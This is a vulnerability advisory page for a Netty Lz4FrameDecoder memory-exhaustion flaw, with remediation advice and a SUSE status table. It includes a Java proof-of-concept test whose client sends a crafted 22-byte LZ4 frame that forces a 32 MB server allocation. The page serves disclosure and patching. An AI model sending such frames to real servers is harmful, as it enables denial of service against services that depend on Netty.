Netty CVE-2026-42583
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3Blast Radius
ecosystem impact- 4,130 maven packages depend on io.netty:netty-codec (46 direct, 4,085 indirect)
- 1,418 maven packages depend on io.netty:netty-codec-compression (9 direct, 1,409 indirect)
Ecosystem-wide dependent count for version 4.1.133.Final and other introduced versions.
DescriptionGitHub Advisory
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
AnalysisAI
Memory exhaustion in Netty's Lz4FrameDecoder allows remote unauthenticated attackers to cause denial of service by sending minimal malicious data that triggers disproportionate server-side memory allocation. A 22-byte crafted LZ4 frame forces the decoder to allocate up to 32MB of heap memory per request, enabling resource exhaustion attacks against Java applications using Netty's compression codec. Publicly available exploit code exists (PoC published in GitHub advisory GHSA-mj4r-2hfc-f8p6). CVSS 7.5 indicates network-exploitable high-availability impact with no authentication or complexity barriers, though real-world risk depends on whether LZ4 decompression is exposed to untrusted network inputs.
Technical ContextAI
Netty is a widely-used asynchronous event-driven network application framework for Java. The Lz4FrameDecoder component in the netty-codec-compression library implements LZ4 frame decompression for network streams. The vulnerability stems from CWE-400 (Uncontrolled Resource Consumption) where the decoder trusts user-supplied header fields - specifically the 'decompressedLength' field in the LZ4 frame header - to pre-allocate ByteBuf objects before validating the actual compressed payload. The decoder calls ctx.alloc().buffer(decompressedLength, decompressedLength) immediately after reading the header, allowing an attacker to specify a maximum block size (32MB per LZ4 specification) with only 22 bytes of network traffic. This creates an amplification factor of approximately 1.5 million to one. Affected packages per CPE data: maven/io.netty:netty-codec-compression and maven/io.netty:netty-codec, impacting any Java application using Netty's LZ4 frame decoding in network-facing channels without external rate limiting or memory quotas.
RemediationAI
Upgrade to patched Netty versions: netty-codec-compression 4.2.13.Final or later, and netty-codec 4.1.133.Final or later, as confirmed in GitHub advisory GHSA-mj4r-2hfc-f8p6. Update Maven/Gradle dependencies to reference the fixed versions and redeploy affected services. If immediate patching is not feasible, implement compensating controls: (1) Configure per-channel memory limits using Netty's ChannelConfig maxMessagesPerRead and writeBufferWaterMark settings to cap buffer growth - note this may degrade throughput for legitimate high-volume clients. (2) Deploy connection-level rate limiting to restrict new connection attempts per source IP (e.g., iptables connlimit or application-layer throttling) - be aware this impacts legitimate users behind NAT. (3) Add aggregate memory quotas using JVM flags -Xmx to limit total heap size and -XX:MaxDirectMemorySize for off-heap buffers, ensuring OOM conditions trigger graceful degradation rather than full crashes - understand this creates a ceiling on concurrent users. (4) Remove Lz4FrameDecoder from ChannelPipeline if LZ4 decompression is not required, or restrict its use to trusted internal channels only. Vendor advisory URLs: https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| suse/manager/5.0/x86_64/server suse/multi-linux-manager/5.1/x86_64/server suse/multi-linux-manager/5.2/x86_64/server | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-mj4r-2hfc-f8p6